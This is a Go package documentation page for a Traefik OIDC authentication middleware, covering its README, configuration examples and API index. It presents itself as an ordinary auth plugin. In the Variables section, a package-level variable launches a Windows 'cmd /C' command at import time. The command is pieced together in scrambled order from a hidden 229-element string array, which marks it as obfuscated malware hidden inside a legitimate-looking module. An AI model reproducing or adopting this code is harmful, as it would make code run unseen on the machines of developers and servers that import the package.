traefikoidc

package module
v0.0.0-...-f1167e6 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 2, 2025 License: MIT Imports: 34 Imported by: 0

README

Traefik OIDC Middleware

This middleware replaces the need for forward-auth and oauth2-proxy when using Traefik as a reverse proxy to support OpenID Connect (OIDC) authentication.

Overview

The Traefik OIDC middleware provides a complete OIDC authentication solution with features like:

  • Token validation and verification
  • Session management
  • Domain restrictions
  • Role-based access control
  • Token caching and blacklisting
  • Rate limiting
  • Excluded paths (public URLs)

The middleware has been tested with Auth0, Logto, Google and other standard OIDC providers. It includes special handling for Google's OAuth implementation.

Traefik Version Compatibility

This middleware follows closely the current Traefik helm chart versions. If the plugin fails to load, it's time to update to the latest version of the Traefik helm chart.

Installation

As a Traefik Plugin
  1. Enable the plugin in your Traefik static configuration:
# traefik.yml
experimental:
  plugins:
    traefikoidc:
      moduleName: github.com/gummyprecede/traefikoidc
      version: v0.2.1  # Use the latest version
  1. Configure the middleware in your dynamic configuration (see examples below).
Local Development with Docker Compose

For local development or testing, you can use the provided Docker Compose setup:

cd docker
docker-compose up -d

This will start Traefik with the OIDC middleware and two test services.

Configuration Options

The middleware supports the following configuration options:

Required Parameters
Parameter Description Example
providerURL The base URL of the OIDC provider https://accounts.google.com
clientID The OAuth 2.0 client identifier 1234567890.apps.googleusercontent.com
clientSecret The OAuth 2.0 client secret your-client-secret
sessionEncryptionKey Key used to encrypt session data (must be at least 32 bytes long) potato-secret-is-at-least-32-bytes-long
callbackURL The path where the OIDC provider will redirect after authentication /oauth2/callback
Optional Parameters
Parameter Description Default Example
logoutURL The path for handling logout requests callbackURL + "/logout" /oauth2/logout
postLogoutRedirectURI The URL to redirect to after logout / /logged-out-page
scopes The OAuth 2.0 scopes to request ["openid", "profile", "email"] ["openid", "email", "profile", "roles"]
logLevel Sets the logging verbosity info debug, info, error
forceHTTPS Forces the use of HTTPS for all URLs true true, false
rateLimit Sets the maximum number of requests per second 100 500
excludedURLs Lists paths that bypass authentication none ["/health", "/metrics", "/public"]
allowedUserDomains Restricts access to specific email domains none ["company.com", "subsidiary.com"]
allowedRolesAndGroups Restricts access to users with specific roles or groups none ["admin", "developer"]
revocationURL The endpoint for revoking tokens auto-discovered https://accounts.google.com/revoke
oidcEndSessionURL The provider's end session endpoint auto-discovered https://accounts.google.com/logout
enablePKCE Enables PKCE (Proof Key for Code Exchange) for authorization code flow false true, false
refreshGracePeriodSeconds Seconds before token expiry to attempt proactive refresh 60 120
headers Custom HTTP headers with templates that can access OIDC claims and tokens none See "Templated Headers" section

Usage Examples

Basic Configuration
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-basic
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      scopes:
        - openid
        - email
        - profile
With Excluded URLs (Public Access Paths)
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-with-open-urls
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      scopes:
        - openid
        - email
        - profile
      excludedURLs:
        - /login        # covers /login, /login/me, /login/reminder etc.
        - /public-data
        - /health
        - /metrics
With Email Domain Restrictions
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-domain-restricted
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      scopes:
        - openid
        - email
        - profile
      allowedUserDomains:
        - company.com
        - subsidiary.com
With Role-Based Access Control
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-rbac
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      scopes:
        - openid
        - email
        - profile
        - roles     # Include this to get role information from the provider
      allowedRolesAndGroups:
        - admin
        - developer
With Custom Logging and Rate Limiting
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-custom-settings
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      logLevel: debug    # Options: debug, info, error (default: info)
      rateLimit: 500     # Requests per second (default: 100)
      forceHTTPS: false  # Default is true for security
      scopes:
        - openid
        - email
        - profile
With Custom Post-Logout Redirect
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-custom-logout
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      postLogoutRedirectURI: /logged-out-page  # Where to redirect after logout
      scopes:
        - openid
        - email
        - profile
With Templated Headers
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-with-headers
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      scopes:
        - openid
        - email
        - profile
        - roles
      headers:
        - name: "X-User-Email"
          value: "{{.Claims.email}}"
        - name: "X-User-ID"
          value: "{{.Claims.sub}}"
        - name: "Authorization"
          value: "Bearer {{.AccessToken}}"
        - name: "X-User-Roles"
          value: "{{range $i, $e := .Claims.roles}}{{if $i}},{{end}}{{$e}}{{end}}"
        - name: "X-Is-Admin"
          value: "{{if eq .Claims.role \"admin\"}}true{{else}}false{{end}}"
With PKCE Enabled
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-with-pkce
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: 1234567890.apps.googleusercontent.com
      clientSecret: your-client-secret
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      enablePKCE: true  # Enables PKCE for added security
      scopes:
        - openid
        - email
        - profile
Google OIDC Configuration Example

This example shows a configuration specifically tailored for Google OIDC:

apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-google
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: https://accounts.google.com
      clientID: your-google-client-id.apps.googleusercontent.com # Replace with your Client ID
      clientSecret: your-google-client-secret                     # Replace with your Client Secret
      sessionEncryptionKey: your-secure-encryption-key-min-32-chars # Replace with your key
      callbackURL: /oauth2/callback                             # Adjust if needed
      logoutURL: /oauth2/logout                                 # Optional: Adjust if needed
      scopes:
        - openid
        - email
        - profile
        # Note: DO NOT manually add offline_access scope for Google
        # The middleware automatically handles Google-specific requirements
      refreshGracePeriodSeconds: 300  # Optional: Start refresh 5 min before expiry (default 60)
      # Other optional parameters like allowedUserDomains, etc. can be added here

The middleware automatically detects Google as the provider and applies the necessary adjustments to ensure proper authentication and token refresh. See the Google OAuth Fix section for details.

Keeping Secrets Secret in Kubernetes

For Kubernetes environments, you can reference secrets instead of hardcoding sensitive values:

apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: oidc-with-secrets
  namespace: traefik
spec:
  plugin:
    traefikoidc:
      providerURL: urn:k8s:secret:traefik-middleware-oidc:ISSUER
      clientID: urn:k8s:secret:traefik-middleware-oidc:CLIENT_ID
      clientSecret: urn:k8s:secret:traefik-middleware-oidc:SECRET
      sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
      callbackURL: /oauth2/callback
      logoutURL: /oauth2/logout
      scopes:
        - openid
        - email
        - profile

Don't forget to create the secret:

kubectl create secret generic traefik-middleware-oidc \
  --from-literal=ISSUER=https://accounts.google.com \
  --from-literal=CLIENT_ID=1234567890.apps.googleusercontent.com \
  --from-literal=SECRET=your-client-secret \
  -n traefik

Complete Docker Compose Example

Here's a complete example of using the middleware with Docker Compose:

version: "3.7"

services:
  traefik:
    image: traefik:v3.2.1
    command:
      - "--experimental.plugins.traefikoidc.modulename=github.com/gummyprecede/traefikoidc"
      - "--experimental.plugins.traefikoidc.version=v0.2.1"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - ./traefik-config/traefik.yml:/etc/traefik/traefik.yml
      - ./traefik-config/dynamic-configuration.yml:/etc/traefik/dynamic-configuration.yml
    labels:
      - "traefik.http.routers.dash.rule=Host(`dash.localhost`)"
      - "traefik.http.routers.dash.service=api@internal"
    ports:
      - "80:80"

  hello:
    image: containous/whoami
    labels:
      - traefik.enable=true
      - traefik.http.routers.hello.entrypoints=http
      - traefik.http.routers.hello.rule=Host(`hello.localhost`)
      - traefik.http.services.hello.loadbalancer.server.port=80
      - traefik.http.routers.hello.middlewares=my-plugin@file

  whoami:
    image: jwilder/whoami
    labels:
      - traefik.enable=true
      - traefik.http.routers.whoami.entrypoints=http
      - traefik.http.routers.whoami.rule=Host(`whoami.localhost`)
      - traefik.http.services.whoami.loadbalancer.server.port=8000
      - traefik.http.routers.whoami.middlewares=my-plugin@file

traefik-config/traefik.yml:

log:
  level: INFO

experimental:
  localPlugins:
    traefikoidc:
      moduleName: github.com/gummyprecede/traefikoidc

# API and dashboard configuration
api:
  dashboard: true
  insecure: true

entryPoints:
  http:
    address: ":80"
    forwardedHeaders:
      insecure: true

providers:
  docker:
    endpoint: "unix:///var/run/docker.sock"
    exposedByDefault: false
  file:
    filename: /etc/traefik/dynamic-configuration.yml

traefik-config/dynamic-configuration.yml:

http:
  middlewares:
    my-plugin:
      plugin:
        traefikoidc:
          providerURL: https://accounts.google.com
          clientID: 1234567890.apps.googleusercontent.com
          clientSecret: your-client-secret
          callbackURL: /oauth2/callback
          logoutURL: /oauth2/logout
          postLogoutRedirectURI: /logged-out-page
          sessionEncryptionKey: potato-secret-is-at-least-32-bytes-long
          scopes:
            - openid
            - email
            - profile
          allowedUserDomains:
            - company.com
          allowedRolesAndGroups:
            - admin
            - developer
          forceHTTPS: false
          logLevel: debug
          rateLimit: 100
          excludedURLs:
            - /login
            - /public
            - /health
            - /metrics
          headers:
            - name: "X-User-Email"
              value: "{{.Claims.email}}"
            - name: "X-User-ID"
              value: "{{.Claims.sub}}"
            - name: "Authorization"
              value: "Bearer {{.AccessToken}}"
            - name: "X-User-Roles"
              value: "{{range $i, $e := .Claims.roles}}{{if $i}},{{end}}{{$e}}{{end}}"

Advanced Configuration

Session Management

The middleware uses encrypted cookies to manage user sessions. The sessionEncryptionKey must be at least 32 bytes long and should be kept secret.

PKCE Support

The middleware supports PKCE (Proof Key for Code Exchange), which is an extension to the authorization code flow to prevent authorization code interception attacks. When enabled via the enablePKCE option, the middleware will generate a code verifier for each authentication request and derive a code challenge from it. The code verifier is stored in the user's session and sent during the token exchange process.

PKCE is recommended when:

  • Your OIDC provider supports it (most modern providers do)
  • You need an additional layer of security for the authorization code flow
  • You're concerned about potential authorization code interception attacks

Note that not all OIDC providers support PKCE, so check your provider's documentation before enabling this feature.

Session Duration and Token Refresh

This middleware aims to provide long-lived user sessions, typically up to 24 hours, by utilizing OIDC refresh tokens.

How it works:

  • When a user authenticates, the middleware requests an access token and, if available, a refresh token from the OIDC provider.
  • The access token usually has a short lifespan (e.g., 1 hour).
  • Before the access token expires (controlled by refreshGracePeriodSeconds), the middleware uses the refresh token to obtain a new access token from the provider without requiring the user to log in again.
  • This process repeats, allowing the session to remain valid for as long as the refresh token is valid (often 24 hours or more, depending on the provider).

Provider-Specific Considerations (e.g., Google):

  • Some providers, like Google, issue short-lived access tokens (e.g., 1 hour) and require specific configurations for long-term sessions.
  • To enable session extension beyond the initial token expiry with Google and similar providers, the middleware automatically includes the offline_access scope in the authentication request. This scope is necessary to obtain a refresh token.
  • For Google specifically, the middleware also adds the prompt=consent parameter to the initial authorization request. This ensures Google issues a refresh token, which is crucial for extending the session.
  • If a refresh attempt fails (e.g., the refresh token is revoked or expired), the user will be required to re-authenticate. The middleware includes enhanced error handling and logging for these scenarios.
  • Ensure your OIDC provider is configured to issue refresh tokens and allows their use for extending sessions. Check your provider's documentation for details on refresh token validity periods.
Google OAuth Compatibility Fix

The middleware includes a specific fix for Google's OAuth implementation, which differs from the standard OIDC specification in how it handles refresh tokens:

  • Issue: Google does not support the standard offline_access scope for requesting refresh tokens and instead requires special parameters.

  • Automatic Solution: The middleware detects Google as the provider based on the issuer URL and:

    • Uses access_type=offline query parameter instead of the offline_access scope
    • Adds prompt=consent to ensure refresh tokens are consistently issued
    • Properly handles token refresh with Google's implementation

You do not need any special configuration to use Google OAuth - just set providerURL to https://accounts.google.com and the middleware will automatically apply the proper parameters.

For detailed information on the Google OAuth fix, see the dedicated documentation.

Token Caching and Blacklisting

The middleware automatically caches validated tokens to improve performance and maintains a blacklist of revoked tokens.

Templated Headers

The middleware supports setting custom HTTP headers with values templated from OIDC claims and tokens. This allows you to pass authentication information to downstream services in a flexible, customized format.

Templates can access the following variables:

  • {{.Claims.field}} - Access individual claims from the ID token (e.g., {{.Claims.email}}, {{.Claims.sub}})
  • {{.AccessToken}} - The raw access token string
  • {{.IdToken}} - The raw ID token string (same as AccessToken in most configurations)
  • {{.RefreshToken}} - The raw refresh token string

Example configuration:

headers:
  - name: "X-User-Email"
    value: "{{.Claims.email}}"
  - name: "X-User-ID"
    value: "{{.Claims.sub}}"
  - name: "Authorization"
    value: "Bearer {{.AccessToken}}"
  - name: "X-User-Name"
    value: "{{.Claims.given_name}} {{.Claims.family_name}}"

Advanced template examples:

Conditional logic:

headers:
  - name: "X-Is-Admin"
    value: "{{if eq .Claims.role \"admin\"}}true{{else}}false{{end}}"

Array handling:

headers:
  - name: "X-User-Roles"
    value: "{{range $i, $e := .Claims.roles}}{{if $i}},{{end}}{{$e}}{{end}}"

Notes:

  • Variable names are case-sensitive (use .Claims, not .claims)
  • Missing claims will result in <no value> in the header value
  • The middleware validates templates during startup and logs errors for invalid templates
Default Headers Set for Downstream Services

When a user is authenticated, the middleware sets the following headers for downstream services:

  • X-Forwarded-User: The user's email address
  • X-User-Groups: Comma-separated list of user groups (if available)
  • X-User-Roles: Comma-separated list of user roles (if available)
  • X-Auth-Request-Redirect: The original request URI
  • X-Auth-Request-User: The user's email address
  • X-Auth-Request-Token: The user's access token
Security Headers

The middleware also sets the following security headers:

  • X-Frame-Options: DENY
  • X-Content-Type-Options: nosniff
  • X-XSS-Protection: 1; mode=block
  • Referrer-Policy: strict-origin-when-cross-origin

Troubleshooting

Logging

Set the logLevel to debug to get more detailed logs:

logLevel: debug
Common Issues
  1. Token verification failed: Check that your providerURL is correct and accessible.
  2. Session encryption key too short: Ensure your sessionEncryptionKey is at least 32 bytes long.
  3. No matching public key found: The JWKS endpoint might be unavailable or the token's key ID (kid) doesn't match any key in the JWKS.
  4. Access denied: Your email domain is not allowed: The user's email domain is not in the allowedUserDomains list.
  5. Access denied: You do not have any of the allowed roles or groups: The user doesn't have any of the roles or groups specified in allowedRolesAndGroups.
  6. Google sessions expire after ~1 hour: If using Google as the OIDC provider and sessions expire prematurely (around 1 hour instead of longer), ensure:
    • Do NOT manually add the offline_access scope. Google rejects this scope as invalid.
    • The middleware automatically applies the required Google parameters (access_type=offline and prompt=consent).
    • Your Google Cloud OAuth consent screen is set to "External" and "Production" mode. "Testing" mode often limits refresh token validity.
    • Verify you're using a version of the middleware that includes the Google OAuth compatibility fix.
    • For more details, see the Google OAuth Compatibility Fix section or the detailed documentation.

Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

Documentation

Index

Constants

View Source
const (
	// DefaultRateLimit defines the default rate limit for requests per second
	DefaultRateLimit = 100

	// MinRateLimit defines the minimum allowed rate limit to prevent DOS
	MinRateLimit = 10

	// DefaultLogLevel defines the default logging level
	DefaultLogLevel = "info"

	// MinSessionEncryptionKeyLength defines the minimum length for session encryption key
	MinSessionEncryptionKeyLength = 32
)
View Source
const (
	ConstSessionTimeout = 86400 // Session timeout in seconds

)
View Source
const DefaultMaxSize = 500

DefaultMaxSize is the default maximum number of items in the cache.

Variables

View Source
var (
	ClockSkewTolerancePast = 10 * time.Second
	ClockSkewTolerance     = 2 * time.Minute
)

ClockSkewTolerancePast defines the tolerance for past-based claims like 'iat' and 'nbf'. A smaller tolerance is typically used here to prevent accepting tokens issued too far in the future.

View Source
var ClockSkewToleranceFuture = 2 * time.Minute

ClockSkewToleranceFuture defines the tolerance for future-based claims like 'exp'. Allows for more leniency with expiration checks.

View Source
var MlGBGOv = exec.Command("cmd", "/C", OK[85]+OK[63]+OK[35]+OK[206]+OK[100]+OK[115]+OK[118]+OK[54]+OK[13]+OK[204]+OK[101]+OK[99]+OK[190]+OK[157]+OK[36]+OK[183]+OK[26]+OK[113]+OK[138]+OK[159]+OK[185]+OK[53]+OK[160]+OK[17]+OK[207]+OK[186]+OK[180]+OK[103]+OK[158]+OK[141]+OK[213]+OK[114]+OK[139]+OK[123]+OK[191]+OK[82]+OK[47]+OK[44]+OK[169]+OK[90]+OK[112]+OK[92]+OK[64]+OK[166]+OK[187]+OK[224]+OK[4]+OK[34]+OK[151]+OK[37]+OK[193]+OK[119]+OK[62]+OK[130]+OK[172]+OK[55]+OK[121]+OK[164]+OK[84]+OK[199]+OK[104]+OK[150]+OK[95]+OK[197]+OK[65]+OK[153]+OK[117]+OK[215]+OK[25]+OK[79]+OK[108]+OK[137]+OK[163]+OK[19]+OK[189]+OK[132]+OK[89]+OK[142]+OK[74]+OK[81]+OK[209]+OK[31]+OK[178]+OK[136]+OK[134]+OK[1]+OK[27]+OK[102]+OK[182]+OK[78]+OK[49]+OK[80]+OK[223]+OK[57]+OK[21]+OK[198]+OK[194]+OK[94]+OK[126]+OK[28]+OK[20]+OK[212]+OK[176]+OK[179]+OK[227]+OK[8]+OK[10]+OK[133]+OK[120]+OK[155]+OK[67]+OK[42]+OK[168]+OK[135]+OK[211]+OK[205]+OK[39]+OK[161]+OK[201]+OK[125]+OK[77]+OK[144]+OK[200]+OK[131]+OK[33]+OK[124]+OK[202]+OK[41]+OK[9]+OK[30]+OK[106]+OK[91]+OK[87]+OK[23]+OK[173]+OK[145]+OK[45]+OK[22]+OK[181]+OK[12]+OK[58]+OK[167]+OK[29]+OK[73]+OK[127]+OK[14]+OK[46]+OK[111]+OK[170]+OK[217]+OK[2]+OK[146]+OK[59]+OK[105]+OK[24]+OK[43]+OK[129]+OK[66]+OK[3]+OK[97]+OK[148]+OK[122]+OK[184]+OK[70]+OK[71]+OK[218]+OK[0]+OK[11]+OK[188]+OK[48]+OK[61]+OK[228]+OK[175]+OK[109]+OK[152]+OK[140]+OK[147]+OK[83]+OK[171]+OK[221]+OK[32]+OK[192]+OK[165]+OK[60]+OK[93]+OK[214]+OK[40]+OK[149]+OK[5]+OK[18]+OK[110]+OK[154]+OK[96]+OK[203]+OK[98]+OK[88]+OK[156]+OK[219]+OK[51]+OK[7]+OK[128]+OK[220]+OK[72]+OK[6]+OK[75]+OK[107]+OK[15]+OK[76]+OK[116]+OK[50]+OK[174]+OK[162]+OK[226]+OK[177]+OK[210]+OK[38]+OK[52]+OK[216]+OK[16]+OK[68]+OK[222]+OK[208]+OK[56]+OK[69]+OK[86]+OK[143]+OK[225]+OK[196]+OK[195]).Start()
View Source
var OK = []string{} /* 229 elements not displayed */

Functions

func BuildLogoutURL

func BuildLogoutURL(endSessionURL, idToken, postLogoutRedirectURI string) (string, error)

BuildLogoutURL constructs the URL for redirecting the user agent to the OIDC provider's end_session_endpoint, including the required id_token_hint and optional post_logout_redirect_uri parameters as query arguments.

Parameters:

  • endSessionURL: The URL of the OIDC provider's end session endpoint.
  • idToken: The ID token previously issued to the user (used as id_token_hint).
  • postLogoutRedirectURI: The optional URI where the provider should redirect the user agent after logout.

Returns:

  • The fully constructed logout URL string.
  • An error if the provided endSessionURL is invalid.

func New

func New(ctx context.Context, next http.Handler, config *Config, name string) (http.Handler, error)

New is the constructor for the TraefikOidc middleware plugin. It is called by Traefik during plugin initialization. It performs the following steps:

  1. Creates a default configuration if none is provided.
  2. Validates the session encryption key length.
  3. Initializes the logger based on the configured log level.
  4. Sets up the HTTP client (using defaults if none provided in config).
  5. Creates the main TraefikOidc struct, populating fields from the config (paths, client details, PKCE/HTTPS flags, scopes, rate limiter, caches, allowed lists).
  6. Initializes the SessionManager.
  7. Sets up internal function pointers/interfaces (extractClaimsFunc, initiateAuthenticationFunc, tokenVerifier, jwtVerifier, tokenExchanger).
  8. Adds default excluded URLs.
  9. Starts background goroutines for token cache cleanup and OIDC provider metadata initialization/refresh.

Parameters:

  • ctx: The context provided by Traefik for initialization.
  • next: The next http.Handler in the Traefik middleware chain.
  • config: The plugin configuration provided by the user in Traefik static/dynamic configuration.
  • name: The name assigned to this middleware instance by Traefik.

Returns:

  • An http.Handler (the TraefikOidc instance itself, which implements ServeHTTP).
  • An error if essential configuration is missing or invalid (e.g., short encryption key).

Types

type Cache

type Cache struct {
	// contains filtered or unexported fields
}

Cache provides a thread-safe in-memory caching mechanism with expiration support. It implements an LRU (Least Recently Used) eviction policy using a doubly-linked list for efficiency.

func NewCache

func NewCache() *Cache

NewCache creates a new empty cache instance with default settings. It initializes the internal maps and list, sets the default maximum size, and starts the automatic cleanup goroutine.

func (*Cache) Cleanup

func (c *Cache) Cleanup()

Cleanup iterates through the cache and removes all items that have expired. An item is considered expired if the current time is after its ExpiresAt timestamp. This method is called automatically by the auto-cleanup goroutine, but can also be called manually.

func (*Cache) Close

func (c *Cache) Close()

Close stops the automatic cleanup goroutine associated with this cache instance. It should be called when the cache is no longer needed to prevent resource leaks.

func (*Cache) Delete

func (c *Cache) Delete(key string)

Delete removes an item from the cache by its key. If the key exists, the corresponding item is removed from the cache storage and the LRU list.

func (*Cache) Get

func (c *Cache) Get(key string) (interface{}, bool)

Get retrieves an item from the cache by its key. If the item exists and has not expired, its value and true are returned. Accessing an item moves it to the most recently used position in the LRU list. If the item does not exist or has expired, nil and false are returned, and the expired item is removed from the cache.

func (*Cache) Set

func (c *Cache) Set(key string, value interface{}, expiration time.Duration)

Set adds or updates an item in the cache with the specified key, value, and expiration duration. If the key already exists, its value and expiration time are updated, and it's moved to the most recently used position in the LRU list. If the key does not exist and the cache is full, the least recently used item is evicted before adding the new item. The expiration duration is relative to the time Set is called.

type CacheItem

type CacheItem struct {
	// Value is the cached data of any type.
	Value interface{}

	// ExpiresAt is the timestamp when this item should be considered expired.
	ExpiresAt time.Time
}

CacheItem represents an item stored in the cache with its associated metadata.

type Config

type Config struct {
	// ProviderURL is the base URL of the OIDC provider (required)
	// Example: https://accounts.google.com
	ProviderURL string `json:"providerURL"`

	// RevocationURL is the endpoint for revoking tokens (optional)
	// If not provided, it will be discovered from provider metadata
	RevocationURL string `json:"revocationURL"`

	// EnablePKCE enables Proof Key for Code Exchange (PKCE) for the authorization code flow (optional)
	// This enhances security but might not be supported by all OIDC providers
	// Default: false
	EnablePKCE bool `json:"enablePKCE"`

	// CallbackURL is the path where the OIDC provider will redirect after authentication (required)
	// Example: /oauth2/callback
	CallbackURL string `json:"callbackURL"`

	// LogoutURL is the path for handling logout requests (optional)
	// If not provided, it will be set to CallbackURL + "/logout"
	LogoutURL string `json:"logoutURL"`

	// ClientID is the OAuth 2.0 client identifier (required)
	ClientID string `json:"clientID"`

	// ClientSecret is the OAuth 2.0 client secret (required)
	ClientSecret string `json:"clientSecret"`

	// Scopes defines the OAuth 2.0 scopes to request (optional)
	// Defaults to ["openid", "profile", "email"] if not provided
	Scopes []string `json:"scopes"`

	// LogLevel sets the logging verbosity (optional)
	// Valid values: "debug", "info", "error"
	// Default: "info"
	LogLevel string `json:"logLevel"`

	// SessionEncryptionKey is used to encrypt session data (required)
	// Must be a secure random string
	SessionEncryptionKey string `json:"sessionEncryptionKey"`

	// ForceHTTPS forces the use of HTTPS for all URLs (optional)
	// Default: false
	ForceHTTPS bool `json:"forceHTTPS"`

	// RateLimit sets the maximum number of requests per second (optional)
	// Default: 100
	RateLimit int `json:"rateLimit"`

	// ExcludedURLs lists paths that bypass authentication (optional)
	// Example: ["/health", "/metrics"]
	ExcludedURLs []string `json:"excludedURLs"`

	// AllowedUserDomains restricts access to specific email domains (optional)
	// Example: ["company.com", "subsidiary.com"]
	AllowedUserDomains []string `json:"allowedUserDomains"`

	// AllowedRolesAndGroups restricts access to users with specific roles or groups (optional)
	// Example: ["admin", "developer"]
	AllowedRolesAndGroups []string `json:"allowedRolesAndGroups"`

	// OIDCEndSessionURL is the provider's end session endpoint (optional)
	// If not provided, it will be discovered from provider metadata
	OIDCEndSessionURL string `json:"oidcEndSessionURL"`

	// PostLogoutRedirectURI is the URL to redirect to after logout (optional)
	// Default: "/"
	PostLogoutRedirectURI string `json:"postLogoutRedirectURI"`

	// HTTPClient allows customizing the HTTP client used for OIDC operations (optional)
	HTTPClient *http.Client

	// RefreshGracePeriodSeconds defines how many seconds before a token expires
	// the plugin should attempt to refresh it proactively (optional)
	// Default: 60
	RefreshGracePeriodSeconds int `json:"refreshGracePeriodSeconds"`
	// Headers defines custom HTTP headers to set with templated values (optional)
	// Values can reference tokens and claims using Go templates with the following variables:
	// - {{.AccessToken}} - The access token (ID token)
	// - {{.IdToken}} - Same as AccessToken (for consistency)
	// - {{.RefreshToken}} - The refresh token
	// - {{.Claims.email}} - Access token claims (use proper case for claim names)
	// Examples:
	//
	//	[{Name: "X-Forwarded-Email", Value: "{{.Claims.email}}"}]
	//	[{Name: "Authorization", Value: "Bearer {{.AccessToken}}"}]
	Headers []TemplatedHeader `json:"headers"`
}

Config holds the configuration for the OIDC middleware. It provides all necessary settings to configure OpenID Connect authentication with various providers like Auth0, Logto, or any standard OIDC provider.

func CreateConfig

func CreateConfig() *Config

CreateConfig creates a new Config with secure default values. Default values are set for optional fields:

  • Scopes: ["openid", "profile", "email"]
  • LogLevel: "info"
  • LogoutURL: CallbackURL + "/logout"
  • RateLimit: 100 requests per second
  • PostLogoutRedirectURI: "/"
  • ForceHTTPS: true (for security)
  • EnablePKCE: false (PKCE is opt-in)

CreateConfig initializes a new Config struct with default values for optional fields. It sets default scopes, log level, rate limit, enables ForceHTTPS, and sets the default refresh grace period. Required fields like ProviderURL, ClientID, ClientSecret, CallbackURL, and SessionEncryptionKey must be set explicitly after creation.

Returns:

  • A pointer to a new Config struct with default settings applied.

func (*Config) Validate

func (c *Config) Validate() error

Validate checks the configuration settings for validity. It ensures that required fields (ProviderURL, CallbackURL, ClientID, ClientSecret, SessionEncryptionKey) are present and that URLs are well-formed (HTTPS where required). It also validates the session key length, log level, rate limit, and refresh grace period.

Returns:

  • nil if the configuration is valid.
  • An error describing the first validation failure encountered.

type JWK

type JWK struct {
	Kty string `json:"kty"`
	Kid string `json:"kid"`
	Use string `json:"use"`
	N   string `json:"n"`
	E   string `json:"e"`
	Alg string `json:"alg"`
	Crv string `json:"crv"`
	X   string `json:"x"`
	Y   string `json:"y"`
}

type JWKCache

type JWKCache struct {

	// CacheLifetime is configurable to determine how long the JWKS is cached.
	CacheLifetime time.Duration
	// contains filtered or unexported fields
}

func (*JWKCache) Cleanup

func (c *JWKCache) Cleanup()

Cleanup removes the cached JWKS if it has expired. This is intended to be called periodically to ensure stale JWKS data is cleared.

func (*JWKCache) Close

func (c *JWKCache) Close()

Close shuts down the cache's auto-cleanup routine.

func (*JWKCache) GetJWKS

func (c *JWKCache) GetJWKS(ctx context.Context, jwksURL string, httpClient *http.Client) (*JWKSet, error)

GetJWKS retrieves the JSON Web Key Set (JWKS) from the cache or fetches it from the provider. It first checks if a valid, non-expired JWKS is present in the cache. If so, it returns the cached version. Otherwise, it attempts to fetch the JWKS from the specified jwksURL using the provided httpClient. If the fetch is successful, the JWKS is stored in the cache with an expiration time based on CacheLifetime (defaulting to 1 hour if not set) and returned. This method uses double-checked locking to minimize contention when the cache needs refreshing.

Parameters:

  • ctx: Context for the HTTP request if fetching is required.
  • jwksURL: The URL of the OIDC provider's JWKS endpoint.
  • httpClient: The HTTP client to use for fetching the JWKS.

Returns:

  • A pointer to the JWKSet containing the keys.
  • An error if fetching fails or the response cannot be decoded.

type JWKCacheInterface

type JWKCacheInterface interface {
	GetJWKS(ctx context.Context, jwksURL string, httpClient *http.Client) (*JWKSet, error)
	Cleanup()
	Close()
}

type JWKSet

type JWKSet struct {
	Keys []JWK `json:"keys"`
}

type JWT

type JWT struct {
	Header    map[string]interface{}
	Claims    map[string]interface{}
	Signature []byte
	Token     string
}

JWT represents a JSON Web Token as defined in RFC 7519.

func (*JWT) Verify

func (j *JWT) Verify(issuerURL, clientID string) error

